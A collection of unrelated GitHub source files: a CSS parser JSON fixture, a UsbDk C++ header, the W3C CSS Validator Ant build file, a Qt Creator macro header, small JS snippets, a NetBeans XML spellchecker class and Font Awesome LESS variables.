"line": 5,
"column": 5
},
"end": {
"line": 5,
"column": 17
},
"source": "input.css"
}
},
{
"type": "declaration",
"property": "display",
"value": "flex",
"position": {
"start": {
"line": 6,
"column": 5
},
"end": {
"line": 6,
"column": 18
},
"source": "input.css"
}
}
],
"position": {
"start": {
"line": 3,
"column": 3
},
"end": {
"line": 7,
"column": 4
},
"source": "input.css"
}
},
{
"type": "rule",
"selectors": [
"div"
],
"declarations": [
{
"type": "declaration",
"property": "something",
"value": "else",
"position": {
"start": {
"line": 10,
"column": 5
},
"end": {
"line": 10,
"column": 20
},
"source": "input.css"
}
}
],
"position": {
"start": {
"line": 9,
"column": 3
},
"end": {
"line": 11,
"column": 4
},
"source": "input.css"
}
}
],
"position": {
"start": {
"line": 1,
"column": 1
},
"end": {
"line": 12,
"column": 2
},
"source": "input.css"
}
}
]
}
}
| {
"pile_set_name": "Github"
} |
#pragma once
#define RULE_MANAGER_EXCEPTION_STRING TEXT("RuleManager exception: ")
class UsbDkRuleManagerException : public UsbDkW32ErrorException
{
public:
UsbDkRuleManagerException() : UsbDkW32ErrorException(RULE_MANAGER_EXCEPTION_STRING){}
UsbDkRuleManagerException(LPCTSTR lpzMessage) : UsbDkW32ErrorException(tstring(RULE_MANAGER_EXCEPTION_STRING) + lpzMessage){}
UsbDkRuleManagerException(LPCTSTR lpzMessage, DWORD dwErrorCode) : UsbDkW32ErrorException(tstring(RULE_MANAGER_EXCEPTION_STRING) + lpzMessage, dwErrorCode){}
UsbDkRuleManagerException(tstring errMsg) : UsbDkW32ErrorException(tstring(RULE_MANAGER_EXCEPTION_STRING) + errMsg){}
UsbDkRuleManagerException(tstring errMsg, DWORD dwErrorCode) : UsbDkW32ErrorException(tstring(RULE_MANAGER_EXCEPTION_STRING) + errMsg, dwErrorCode){}
};
class CRulesManager
{
public:
CRulesManager();
void AddRule(const USB_DK_HIDE_RULE &Rule);
void DeleteRule(const USB_DK_HIDE_RULE &Rule);
ULONG DeleteAllRules(ULONG& notDeleted);
private:
template <typename TFunctor>
bool FindRule(const USB_DK_HIDE_RULE &Rule, TFunctor Functor);
bool RuleExists(const USB_DK_HIDE_RULE &Rule);
DWORD ReadDword(LPCTSTR RuleName, LPCTSTR ValueName) const;
ULONG64 ReadDwordMask(LPCTSTR RuleName, LPCTSTR ValueName) const;
ULONG64 ReadBool(LPCTSTR RuleName, LPCTSTR ValueName) const;
void WriteDword(const tstring &RuleName, LPCTSTR ValueName, ULONG Value);
void ReadRule(LPCTSTR RuleName, USB_DK_HIDE_RULE &Rule) const;
UsbDkRegAccess m_RegAccess;
};
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<!-- $Id$ -->
<project default="jar" name="W3C CSS Validator">
<!-- =================================================================== -->
<!-- User-overrideable properties -->
<!-- =================================================================== -->
<property name="servlet.lib" value="/usr/share/java/servlet-2.3.jar"/>
<!-- =================================================================== -->
<!-- Project-wide properties -->
<!-- =================================================================== -->
<!-- Overriding those properties works too, but is not advisable. -->
<property name="app.name" value="css-validator"/>
<property name="jar.file" value="${app.name}.jar"/>
<property name="war.file" value="${app.name}.war"/>
<!-- =================================================================== -->
<!-- Targets -->
<!-- =================================================================== -->
<path id="build.class.path">
<pathelement location="${servlet.lib}"/>
<fileset dir="lib">
<include name="*.jar"/>
</fileset>
</path>
<target name="prepare.check">
<condition property="prepare.run">
<and>
<available file="lib/jigsaw-2.2.6.jar"/>
<available file="lib/commons-beanutils-1.9.3.jar"/>
<available file="lib/commons-collections-3.2.2.jar"/>
<available file="lib/commons-digester-1.8.1.jar"/>
<available file="lib/commons-lang-2.6.jar"/>
<available file="lib/commons-logging-1.1.3.jar"/>
<available file="lib/commons-text-1.3.jar"/>
<available file="lib/commons-validator-1.6.jar"/>
<available file="lib/velocity-1.7.jar"/>
<available file="lib/xercesImpl-2.11.0.jar"/>
<available file="lib/xml-apis-1.4.01.jar"/>
<available file="lib/tagsoup-1.2.1.jar"/>
<available file="lib/servlet-api-2.5-6.0.1.jar"/>
<available file="lib/htmlparser-1.4.9.jar"/>
<available file="lib/velocity-tools-2.0.jar"/>
</and>
</condition>
</target>
<target name="prepare" description="Downloads necessary libs" depends="prepare.check" unless="prepare.run">
<mkdir dir="lib"/>
<mkdir dir="tmp"/>
<get dest="tmp/jigsaw-2.2.6.jar" src="https://repo1.maven.org/maven2/org/w3c/jigsaw/jigsaw/2.2.6/jigsaw-2.2.6.jar" usetimestamp="true"/>
<get dest="tmp/commons-beanutils-1.9.3.jar" src="https://repo1.maven.org/maven2/commons-beanutils/commons-beanutils/1.9.3/commons-beanutils-1.9.3.jar" usetimestamp="true"/>
<get dest="tmp/commons-collections-3.2.2.jar" src="https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" usetimestamp="true"/>
<get dest="tmp/commons-digester-1.8.1.jar" src="https://repo1.maven.org/maven2/commons-digester/commons-digester/1.8.1/commons-digester-1.8.1.jar" usetimestamp="true"/>
<get dest="tmp/commons-lang-2.6.jar" src="https://repo1.maven.org/maven2/commons-lang/commons-lang/2.6/commons-lang-2.6.jar" usetimestamp="true"/>
<get dest="tmp/commons-text-1.3.jar" src="https://repo1.maven.org/maven2/org/apache/commons/commons-text/1.3/commons-text-1.3.jar" usetimestamp="true"/>
<get dest="tmp/commons-logging-1.1.3.jar" src="https://repo1.maven.org/maven2/commons-logging/commons-logging/1.1.3/commons-logging-1.1.3.jar" usetimestamp="true"/>
<get dest="tmp/commons-validator-1.6.jar" src="https://repo1.maven.org/maven2/commons-validator/commons-validator/1.6/commons-validator-1.6.jar" usetimestamp="true"/>
<get dest="tmp/velocity-1.7.jar" src="https://repo1.maven.org/maven2/org/apache/velocity/velocity/1.7/velocity-1.7.jar" usetimestamp="true"/>
<get dest="tmp/velocity-tools-2.0.jar" src="https://repo1.maven.org/maven2/org/apache/velocity/velocity-tools/2.0/velocity-tools-2.0.jar" usetimestamp="true"/>
<get dest="tmp/xercesImpl-2.11.0.jar" src="https://repo1.maven.org/maven2/xerces/xercesImpl/2.11.0/xercesImpl-2.11.0.jar" usetimestamp="true"/>
<get dest="tmp/xml-apis-1.4.01.jar" src="https://repo1.maven.org/maven2/xml-apis/xml-apis/1.4.01/xml-apis-1.4.01.jar" usetimestamp="true"/>
<get dest="tmp/tagsoup-1.2.1.jar" src="https://repo1.maven.org/maven2/org/ccil/cowan/tagsoup/tagsoup/1.2.1/tagsoup-1.2.1.jar" usetimestamp="true"/>
<get dest="tmp/servlet-api-2.5-6.0.1.jar" src="https://repo1.maven.org/maven2/org/mortbay/jetty/servlet-api/2.5-6.0.1/servlet-api-2.5-6.0.1.jar" usetimestamp="true"/>
<get dest="tmp/htmlparser-1.4.9.jar" src="https://repo1.maven.org/maven2/nu/validator/htmlparser/1.4.9/htmlparser-1.4.9.jar" usetimestamp="true"/>
<copy file="tmp/servlet-api-2.5-6.0.1.jar" tofile="lib/servlet-api-2.5-6.0.1.jar"/>
<copy file="tmp/jigsaw-2.2.6.jar" tofile="lib/jigsaw-2.2.6.jar"/>
<copy file="tmp/commons-beanutils-1.9.3.jar" tofile="lib/commons-beanutils-1.9.3.jar"/>
<copy file="tmp/commons-collections-3.2.2.jar" tofile="lib/commons-collections-3.2.2.jar"/>
<copy file="tmp/commons-digester-1.8.1.jar" tofile="lib/commons-digester-1.8.1.jar"/>
<copy file="tmp/commons-lang-2.6.jar" tofile="lib/commons-lang-2.6.jar"/>
<copy file="tmp/commons-text-1.3.jar" tofile="lib/commons-text-1.3.jar"/>
<copy file="tmp/commons-logging-1.1.3.jar" tofile="lib/commons-logging-1.1.3.jar"/>
<copy file="tmp/commons-validator-1.6.jar" tofile="lib/commons-validator-1.6.jar"/>
<copy file="tmp/velocity-1.7.jar" tofile="lib/velocity-1.7.jar"/>
<copy file="tmp/velocity-tools-2.0.jar" tofile="lib/velocity-tools-2.0.jar"/>
<copy file="tmp/xercesImpl-2.11.0.jar" tofile="lib/xercesImpl-2.11.0.jar"/>
<copy file="tmp/xml-apis-1.4.01.jar" tofile="lib/xml-apis-1.4.01.jar"/>
<copy file="tmp/tagsoup-1.2.1.jar" tofile="lib/tagsoup-1.2.1.jar"/>
<copy file="tmp/htmlparser-1.4.9.jar" tofile="lib/htmlparser-1.4.9.jar"/>
</target>
<target name="build" description="Builds the validator" depends="prepare">
<mkdir dir="./build"/>
<javac classpathref="build.class.path" destdir="./build" encoding="UTF-8"
debug="yes" includes="org/w3c/**" srcdir="." source="1.7" target="1.7"
includeantruntime="false"/>
<copy todir="./build">
<fileset dir="./">
<include name="org/**"/>
<exclude name="**/*.java"/>
<exclude name="**/*.class"/>
</fileset>
</copy>
</target>
<target name="jigsaw" description="Builds the validator for Jigsaw" depends="prepare">
<mkdir dir="./build"/>
<javac classpathref="build.class.path" destdir="." encoding="UTF-8"
debug="yes" source="1.7" target="1.7">
<src path="./org/w3c"/>
</javac>
</target>
<target name="javadoc" description="Generates API docs">
<mkdir dir="./javadoc"/>
<javadoc
packagenames="org.w3c.*"
sourcepath="./"
destdir="./javadoc"
author="true"
version="true"
windowtitle="W3C CSS Validator API"/>
</target>
<target name="jar" depends="build" description="Creates the lib archive with all dependency jars included">
<delete file="${jar.file}"/>
<jar jarfile="${jar.file}" basedir="build" excludes="org/**/*.java">
<zipgroupfileset dir="lib" includes="*.jar"/>
<include name="org/**"/>
<manifest>
<attribute name="Main-Class" value="org.w3c.css.css.CssValidator"/>
</manifest>
</jar>
</target>
<target name="jar-without-dependencies" depends="build" description="Creates the lib archive without dependency jars">
<delete file="${jar.file}"/>
<jar jarfile="${jar.file}" basedir="build" excludes="org/**/*.java">
<include name="org/**"/>
<manifest>
<attribute name="Main-Class" value="org.w3c.css.css.CssValidator"/>
</manifest>
</jar>
</target>
<target name="war" depends="build" description="Creates the webapp module">
<delete file="${war.file}"/>
<war warfile="${war.file}" webxml="web.xml" basedir="." includes="*html*,favicon.ico,images/**,style/**,scripts/**,tabtastic/**" excludes="html,css-validator.*">
<classes dir="build"/>
<lib dir="lib">
<exclude name="*servlet*.jar"/>
</lib>
</war>
</target>
<target name="autotest" depends="jar">
<fail message=" ${line.separator}${line.separator}
Usage: ant autotest -Dtestfile=testsuite/xml/FILENAME.xml">
<condition>
<not>
<isset property="testfile"/>
</not>
</condition>
</fail>
<javac srcdir="autotest" classpath="css-validator.jar"
includeantruntime="false"/>
<java classname="autotest.AutoTest" classpath="css-validator.jar">
<arg value="${testfile}"/>
</java>
</target>
<target name="javacc">
<ant antfile="build.xml" dir="javacc"/>
</target>
<target name="clean" description="Cleans up generated files">
<delete file="${jar.file}"/>
<delete file="${war.file}"/>
<delete dir="./build"/>
<delete dir="./javadoc"/>
<delete dir="./tmp"/>
</target>
</project>
| {
"pile_set_name": "Github"
} |
/****************************************************************************
**
** Copyright (C) 2016 Nicolas Arnaud-Cormos
** Contact: https://www.qt.io/licensing/
**
** This file is part of Qt Creator.
**
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms
** and conditions see https://www.qt.io/terms-conditions. For further
** information use the contact form at https://www.qt.io/contact-us.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3 as published by the Free Software
** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT
** included in the packaging of this file. Please review the following
** information to ensure the GNU General Public License requirements will
** be met: https://www.gnu.org/licenses/gpl-3.0.html.
**
****************************************************************************/
#pragma once
#include "imacrohandler.h"
#include <coreplugin/actionmanager/actionmanager.h>
#include <QSet>
namespace Macros {
namespace Internal {
class ActionMacroHandler : public IMacroHandler
{
Q_OBJECT
public:
ActionMacroHandler();
bool canExecuteEvent(const MacroEvent ¯oEvent) override;
bool executeEvent(const MacroEvent ¯oEvent) override;
private:
void registerCommand(Utils::Id id);
Core::Command *command(const QString &id);
void addCommand(Utils::Id id);
private:
QSet<Utils::Id> m_commandIds;
};
} // namespace Internal
} // namespace Macros
| {
"pile_set_name": "Github"
} |
const pure = () => {
return (
<Foo></Foo> // Foo
);
}
| {
"pile_set_name": "Github"
} |
import { Category } from '../../../stories/storiesHierarchy';
export const storySettings = {
category: Category.COMPONENTS,
storyName: 'PageHeader',
};
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.netbeans.modules.spellchecker.bindings.htmlxml;
import javax.swing.text.BadLocationException;
import javax.swing.text.Document;
import org.netbeans.api.lexer.TokenHierarchy;
import org.netbeans.api.lexer.TokenId;
import org.netbeans.api.lexer.TokenSequence;
import org.netbeans.api.xml.lexer.XMLTokenId;
import org.netbeans.editor.BaseDocument;
import org.openide.filesystems.FileObject;
import org.openide.filesystems.FileUtil;
/**
* Tokenize RHTML for spell checking: Spell check Ruby comments AND HTML text content!
*
* @author Tor Norbye
*/
public class XmlTokenList extends AbstractTokenList {
private boolean hidden = false;
public XmlTokenList(BaseDocument doc) {
super(doc);
}
@Override
public void setStartOffset(int offset) {
super.setStartOffset (offset);
FileObject fileObject = FileUtil.getConfigFile ("Spellcheckers/XML");
Boolean b = (Boolean) fileObject.getAttribute ("Hidden");
hidden = Boolean.TRUE.equals (b);
}
protected int[] findNextSpellSpan() throws BadLocationException {
TokenHierarchy<Document> h = TokenHierarchy.get((Document) doc);
TokenSequence<?> ts = h.tokenSequence();
if (ts == null || hidden) {
return new int[]{-1, -1};
}
ts.move(nextSearchOffset);
while (ts.moveNext()) {
TokenId id = ts.token().id();
if (id == XMLTokenId.BLOCK_COMMENT || id == XMLTokenId.TEXT) {
return new int[]{ts.offset(), ts.offset() + ts.token().length()};
}
}
return new int[]{-1, -1};
}
}
| {
"pile_set_name": "Github"
} |
// Variables
// --------------------------
@fa-font-path: "../fonts";
@fa-font-size-base: 14px;
@fa-line-height-base: 1;
//@fa-font-path: "//netdna.bootstrapcdn.com/font-awesome/4.7.0/fonts"; // for referencing Bootstrap CDN font files directly
@fa-css-prefix: fa;
@fa-version: "4.7.0";
@fa-border-color: #eee;
@fa-inverse: #fff;
@fa-li-width: (30em / 14);
@fa-var-500px: "\f26e";
@fa-var-address-book: "\f2b9";
@fa-var-address-book-o: "\f2ba";
@fa-var-address-card: "\f2bb";
@fa-var-address-card-o: "\f2bc";
@fa-var-adjust: "\f042";
@fa-var-adn: "\f170";
@fa-var-align-center: "\f037";
@fa-var-align-justify: "\f039";
@fa-var-align-left: "\f036";
@fa-var-align-right: "\f038";
@fa-var-amazon: "\f270";
@fa-var-ambulance: "\f0f9";
@fa-var-american-sign-language-interpreting: "\f2a3";
@fa-var-anchor: "\f13d";
@fa-var-android: "\f17b";
@fa-var-angellist: "\f209";
@fa-var-angle-double-down: "\f103";
@fa-var-angle-double-left: "\f100";
@fa-var-angle-double-right: "\f101";
@fa-var-angle-double-up: "\f102";
@fa-var-angle-down: "\f107";
@fa-var-angle-left: "\f104";
@fa-var-angle-right: "\f105";
@fa-var-angle-up: "\f106";
@fa-var-apple: "\f179";
@fa-var-archive: "\f187";
@fa-var-area-chart: "\f1fe";
@fa-var-arrow-circle-down: "\f0ab";
@fa-var-arrow-circle-left: "\f0a8";
@fa-var-arrow-circle-o-down: "\f01a";
@fa-var-arrow-circle-o-left: "\f190";
@fa-var-arrow-circle-o-right: "\f18e";
@fa-var-arrow-circle-o-up: "\f01b";
@fa-var-arrow-circle-right: "\f0a9";
@fa-var-arrow-circle-up: "\f0aa";
@fa-var-arrow-down: "\f063";
@fa-var-arrow-left: "\f060";
@fa-var-arrow-right: "\f061";
@fa-var-arrow-up: "\f062";
@fa-var-arrows: "\f047";
@fa-var-arrows-alt: "\f0b2";
@fa-var-arrows-h: "\f07e";
@fa-var-arrows-v: "\f07d";
@fa-var-asl-interpreting: "\f2a3";
@fa-var-assistive-listening-systems: "\f2a2";
@fa-var-asterisk: "\f069";
@fa-var-at: "\f1fa";
@fa-var-audio-description: "\f29e";
@fa-var-automobile: "\f1b9";
@fa-var-backward: "\f04a";
@fa-var-balance-scale: "\f24e";
@fa-var-ban: "\f05e";
@fa-var-bandcamp: "\f2d5";
@fa-var-bank: "\f19c";
@fa-var-bar-chart: "\f080";
@fa-var-bar-chart-o: "\f080";
@fa-var-barcode: "\f02a";
@fa-var-bars: "\f0c9";
@fa-var-bath: "\f2cd";
@fa-var-bathtub: "\f2cd";
@fa-var-battery: "\f240";
@fa-var-battery-0: "\f244";
@fa-var-battery-1: "\f243";
@fa-var-battery-2: "\f242";
@fa-var-battery-3: "\f241";
@fa-var-battery-4: "\f240";
@fa-var-battery-empty: "\f244";
@fa-var-battery-full: "\f240";
@fa-var-battery-half: "\f242";
@fa-var-battery-quarter: "\f243";
@fa-var-battery-three-quarters: "\f241";
@fa-var-bed: "\f236";
@fa-var-beer: "\f0fc";
@fa-var-behance: "\f1b4";
@fa-var-behance-square: "\f1b5";
@fa-var-bell: "\f0f3";
@fa-var-bell-o: "\f0a2";
@fa-var-bell-slash: "\f1f6";
@fa-var-bell-slash-o: "\f1f7";
@fa-var-bicycle: "\f206";
@fa-var-binoculars: "\f1e5";
@fa-var-birthday-cake: "\f1fd";
@fa-var-bitbucket: "\f171";
@fa-var-bitbucket-square: "\f172";
@fa-var-bitcoin: "\f15a";
@fa-var-black-tie: "\f27e";
@fa-var-blind: "\f29d";
@fa-var-bluetooth: "\f293";
@fa-var-bluetooth-b: "\f294";
@fa-var-bold: "\f032";
@fa-var-bolt: "\f0e7";
@fa-var-bomb: "\f1e2";
@fa-var-book: "\f02d";
@fa-var-bookmark: "\f02e";
@fa-var-bookmark-o: "\f097";
@fa-var-braille: "\f2a1";
@fa-var-briefcase: "\f0b1";
@fa-var-btc: "\f15a";
@fa-var-bug: "\f188";
@fa-var-building: "\f1ad";
@fa-var-building-o: "\f0f7";
@fa-var-bullhorn: "\f0a1";
@fa-var-bullseye: "\f140";
@fa-var-bus: "\f207";
@fa-var-buysellads: "\f20d";
@fa-var-cab: "\f1ba";
@fa-var-calculator: "\f1ec";
@fa-var-calendar: "\f073";
@fa-var-calendar-check-o: "\f274";
@fa-var-calendar-minus-o: "\f272";
@fa-var-calendar-o: "\f133";
@fa-var-calendar-plus-o: "\f271";
@fa-var-calendar-times-o: "\f273";
@fa-var-camera: "\f030";
@fa-var-camera-retro: "\f083";
@fa-var-car: "\f1b9";
@fa-var-caret-down: "\f0d7";
@fa-var-caret-left: "\f0d9";
@fa-var-caret-right: "\f0da";
@fa-var-caret-square-o-down: "\f150";
@fa-var-caret-square-o-left: "\f191";
@fa-var-caret-square-o-right: "\f152";
@fa-var-caret-square-o-up: "\f151";
@fa-var-caret-up: "\f0d8";
@fa-var-cart-arrow-down: "\f218";
@fa-var-cart-plus: "\f217";
@fa-var-cc: "\f20a";
@fa-var-cc-amex: "\f1f3";
@fa-var-cc-diners-club: "\f24c";
@fa-var-cc-discover: "\f1f2";
@fa-var-cc-jcb: "\f24b";
@fa-var-cc-mastercard: "\f1f1";
@fa-var-cc-paypal: "\f1f4";
@fa-var-cc-stripe: "\f1f5";
@fa-var-cc-visa: "\f1f0";
@fa-var-certificate: "\f0a3";
@fa-var-chain: "\f0c1";
@fa-var-chain-broken: "\f127";
@fa-var-check: "\f00c";
@fa-var-check-circle: "\f058";
@fa-var-check-circle-o: "\f05d";
@fa-var-check-square: "\f14a";
@fa-var-check-square-o: "\f046";
@fa-var-chevron-circle-down: "\f13a";
@fa-var-chevron-circle-left: "\f137";
@fa-var-chevron-circle-right: "\f138";
@fa-var-chevron-circle-up: "\f139";
@fa-var-chevron-down: "\f078";
@fa-var-chevron-left: "\f053";
@fa-var-chevron-right: "\f054";
@fa-var-chevron-up: "\f077";
@fa-var-child: "\f1ae";
@fa-var-chrome: "\f268";
@fa-var-circle: "\f111";
@fa-var-circle-o: "\f10c";
@fa-var-circle-o-notch: "\f1ce";
@fa-var-circle-thin: "\f1db";
@fa-var-clipboard: "\f0ea";
@fa-var-clock-o: "\f017";
@fa-var-clone: "\f24d";
@fa-var-close: "\f00d";
@fa-var-cloud: "\f0c2";
@fa-var-cloud-download: "\f0ed";
@fa-var-cloud-upload: "\f0ee";
@fa-var-cny: "\f157";
@fa-var-code: "\f121";
@fa-var-code-fork: "\f126";
@fa-var-codepen: "\f1cb";
@fa-var-codiepie: "\f284";
@fa-var-coffee: "\f0f4";
@fa-var-cog: "\f013";
@fa-var-cogs: "\f085";
@fa-var-columns: "\f0db";
@fa-var-comment: "\f075";
@fa-var-comment-o: "\f0e5";
@fa-var-commenting: "\f27a";
@fa-var-commenting-o: "\f27b";
@fa-var-comments: "\f086";
@fa-var-comments-o: "\f0e6";
@fa-var-compass: "\f14e";
@fa-var-compress: "\f066";
@fa-var-connectdevelop: "\f20e";
@fa-var-contao: "\f26d";
@fa-var-copy: "\f0c5";
@fa-var-copyright: "\f1f9";
@fa-var-creative-commons: "\f25e";
@fa-var-credit-card: "\f09d";
@fa-var-credit-card-alt: "\f283";
@fa-var-crop: "\f125";
@fa-var-crosshairs: "\f05b";
@fa-var-css3: "\f13c";
@fa-var-cube: "\f1b2";
@fa-var-cubes: "\f1b3";
@fa-var-cut: "\f0c4";
@fa-var-cutlery: "\f0f5";
@fa-var-dashboard: "\f0e4";
@fa-var-dashcube: "\f210";
@fa-var-database: "\f1c0";
@fa-var-deaf: "\f2a4";
@fa-var-deafness: "\f2a4";
@fa-var-dedent: "\f03b";
@fa-var-delicious: "\f1a5";
@fa-var-desktop: "\f108";
@fa-var-deviantart: "\f1bd";
@fa-var-diamond: "\f219";
@fa-var-digg: "\f1a6";
@fa-var-dollar: "\f155";
@fa-var-dot-circle-o: "\f192";
@fa-var-download: "\f019";
@fa-var-dribbble: "\f17d";
@fa-var-drivers-license: "\f2c2";
@fa-var-drivers-license-o: "\f2c3";
@fa-var-dropbox: "\f16b";
@fa-var-drupal: "\f1a9";
@fa-var-edge: "\f282";
@fa-var-edit: "\f044";
@fa-var-eercast: "\f2da";
@fa-var-eject: "\f052";
@fa-var-ellipsis-h: "\f141";
@fa-var-ellipsis-v: "\f142";
@fa-var-empire: "\f1d1";
@fa-var-envelope: "\f0e0";
@fa-var-envelope-o: "\f003";
@fa-var-envelope-open: "\f2b6";
@fa-var-envelope-open-o: "\f2b7";
@fa-var-envelope-square: "\f199";
@fa-var-envira: "\f299";
@fa-var-eraser: "\f12d";
@fa-var-etsy: "\f2d7";
@fa-var-eur: "\f153";
@fa-var-euro: "\f153";
@fa-var-exchange: "\f0ec";
@fa-var-exclamation: "\f12a";
@fa-var-exclamation-circle: "\f06a";
@fa-var-exclamation-triangle: "\f071";
@fa-var-expand: "\f065";
@fa-var-expeditedssl: "\f23e";
@fa-var-external-link: "\f08e";
@fa-var-external-link-square: "\f14c";
@fa-var-eye: "\f06e";
@fa-var-eye-slash: "\f070";
@fa-var-eyedropper: "\f1fb";
@fa-var-fa: "\f2b4";
@fa-var-facebook: "\f09a";
@fa-var-facebook-f: "\f09a";
@fa-var-facebook-official: "\f230";
@fa-var-facebook-square: "\f082";
@fa-var-fast-backward: "\f049";
@fa-var-fast-forward: "\f050";
@fa-var-fax: "\f1ac";
@fa-var-feed: "\f09e";
@fa-var-female: "\f182";
@fa-var-fighter-jet: "\f0fb";
@fa-var-file: "\f15b";
@fa-var-file-archive-o: "\f1c6";
@fa-var-file-audio-o: "\f1c7";
@fa-var-file-code-o: "\f1c9";
@fa-var-file-excel-o: "\f1c3";
@fa-var-file-image-o: "\f1c5";
@fa-var-file-movie-o: "\f1c8";
@fa-var-file-o: "\f016";
@fa-var-file-pdf-o: "\f1c1";
@fa-var-file-photo-o: "\f1c5";
@fa-var-file-picture-o: "\f1c5";
@fa-var-file-powerpoint-o: "\f1c4";
@fa-var-file-sound-o: "\f1c7";
@fa-var-file-text: "\f15c";
@fa-var-file-text-o: "\f0f6";
@fa-var-file-video-o: "\f1c8";
@fa-var-file-word-o: "\f1c2";
@fa-var-file-zip-o: "\f1c6";
@fa-var-files-o: "\f0c5";
@fa-var-film: "\f008";
@fa-var-filter: "\f0b0";
@fa-var-fire: "\f06d";
@fa-var-fire-extinguisher: "\f134";
@fa-var-firefox: "\f269";
@fa-var-first-order: "\f2b0";
@fa-var-flag: "\f024";
@fa-var-flag-checkered: "\f11e";
@fa-var-flag-o: "\f11d";
@fa-var-flash: "\f0e7";
@fa-var-flask: "\f0c3";
@fa-var-flickr: "\f16e";
@fa-var-floppy-o: "\f0c7";
@fa-var-folder: "\f07b";
@fa-var-folder-o: "\f114";
@fa-var-folder-open: "\f07c";
@fa-var-folder-open-o: "\f115";
@fa-var-font: "\f031";
@fa-var-font-awesome: "\f2b4";
@fa-var-fonticons: "\f280";
@fa-var-fort-awesome: "\f286";
@fa-var-forumbee: "\f211";
@fa-var-forward: "\f04e";
@fa-var-foursquare: "\f180";
@fa-var-free-code-camp: "\f2c5";
@fa-var-frown-o: "\f119";
@fa-var-futbol-o: "\f1e3";
@fa-var-gamepad: "\f11b";
@fa-var-gavel: "\f0e3";
@fa-var-gbp: "\f154";
@fa-var-ge: "\f1d1";
@fa-var-gear: "\f013";
@fa-var-gears: "\f085";
@fa-var-genderless: "\f22d";
@fa-var-get-pocket: "\f265";
@fa-var-gg: "\f260";
@fa-var-gg-circle: "\f261";
@fa-var-gift: "\f06b";
@fa-var-git: "\f1d3";
@fa-var-git-square: "\f1d2";
@fa-var-github: "\f09b";
@fa-var-github-alt: "\f113";
@fa-var-github-square: "\f092";
@fa-var-gitlab: "\f296";
@fa-var-gittip: "\f184";
@fa-var-glass: "\f000";
@fa-var-glide: "\f2a5";
@fa-var-glide-g: "\f2a6";
@fa-var-globe: "\f0ac";
@fa-var-google: "\f1a0";
@fa-var-google-plus: "\f0d5";
@fa-var-google-plus-circle: "\f2b3";
@fa-var-google-plus-official: "\f2b3";
@fa-var-google-plus-square: "\f0d4";
@fa-var-google-wallet: "\f1ee";
@fa-var-graduation-cap: "\f19d";
@fa-var-gratipay: "\f184";
@fa-var-grav: "\f2d6";
@fa-var-group: "\f0c0";
@fa-var-h-square: "\f0fd";
@fa-var-hacker-news: "\f1d4";
@fa-var-hand-grab-o: "\f255";
@fa-var-hand-lizard-o: "\f258";
@fa-var-hand-o-down: "\f0a7";
@fa-var-hand-o-left: "\f0a5";
@fa-var-hand-o-right: "\f0a4";
@fa-var-hand-o-up: "\f0a6";
@fa-var-hand-paper-o: "\f256";
@fa-var-hand-peace-o: "\f25b";
@fa-var-hand-pointer-o: "\f25a";
@fa-var-hand-rock-o: "\f255";
@fa-var-hand-scissors-o: "\f257";
@fa-var-hand-spock-o: "\f259";
@fa-var-hand-stop-o: "\f256";
@fa-var-handshake-o: "\f2b5";
@fa-var-hard-of-hearing: "\f2a4";
@fa-var-hashtag: "\f292";
@fa-var-hdd-o: "\f0a0";
@fa-var-header: "\f1dc";
@fa-var-headphones: "\f025";
@fa-var-heart: "\f004";
@fa-var-heart-o: "\f08a";
@fa-var-heartbeat: "\f21e";
@fa-var-history: "\f1da";
@fa-var-home: "\f015";
@fa-var-hospital-o: "\f0f8";
@fa-var-hotel: "\f236";
@fa-var-hourglass: "\f254";
@fa-var-hourglass-1: "\f251";
@fa-var-hourglass-2: "\f252";
@fa-var-hourglass-3: "\f253";
@fa-var-hourglass-end: "\f253";
@fa-var-hourglass-half: "\f252";
@fa-var-hourglass-o: "\f250";
@fa-var-hourglass-start: "\f251";
@fa-var-houzz: "\f27c";
@fa-var-html5: "\f13b";
@fa-var-i-cursor: "\f246";
@fa-var-id-badge: "\f2c1";
@fa-var-id-card: "\f2c2";
@fa-var-id-card-o: "\f2c3";
@fa-var-ils: "\f20b";
@fa-var-image: "\f03e";
@fa-var-imdb: "\f2d8";
@fa-var-inbox: "\f01c";
@fa-var-indent: "\f03c";
@fa-var-industry: "\f275";
@fa-var-info: "\f129";
@fa-var-info-circle: "\f05a";
@fa-var-inr: "\f156";
@fa-var-instagram: "\f16d";
@fa-var-institution: "\f19c";
@fa-var-internet-explorer: "\f26b";
@fa-var-intersex: "\f224";
@fa-var-ioxhost: "\f208";
@fa-var-italic: "\f033";
@fa-var-joomla: "\f1aa";
@fa-var-jpy: "\f157";
@fa-var-jsfiddle: "\f1cc";
@fa-var-key: "\f084";
@fa-var-keyboard-o: "\f11c";
@fa-var-krw: "\f159";
@fa-var-language: "\f1ab";
@fa-var-laptop: "\f109";
@fa-var-lastfm: "\f202";
@fa-var-lastfm-square: "\f203";
@fa-var-leaf: "\f06c";
@fa-var-leanpub: "\f212";
@fa-var-legal: "\f0e3";
@fa-var-lemon-o: "\f094";
@fa-var-level-down: "\f149";
@fa-var-level-up: "\f148";
@fa-var-life-bouy: "\f1cd";
@fa-var-life-buoy: "\f1cd";
@fa-var-life-ring: "\f1cd";
@fa-var-life-saver: "\f1cd";
@fa-var-lightbulb-o: "\f0eb";
@fa-var-line-chart: "\f201";
@fa-var-link: "\f0c1";
@fa-var-linkedin: "\f0e1";
@fa-var-linkedin-square: "\f08c";
@fa-var-linode: "\f2b8";
@fa-var-linux: "\f17c";
@fa-var-list: "\f03a";
@fa-var-list-alt: "\f022";
@fa-var-list-ol: "\f0cb";
@fa-var-list-ul: "\f0ca";
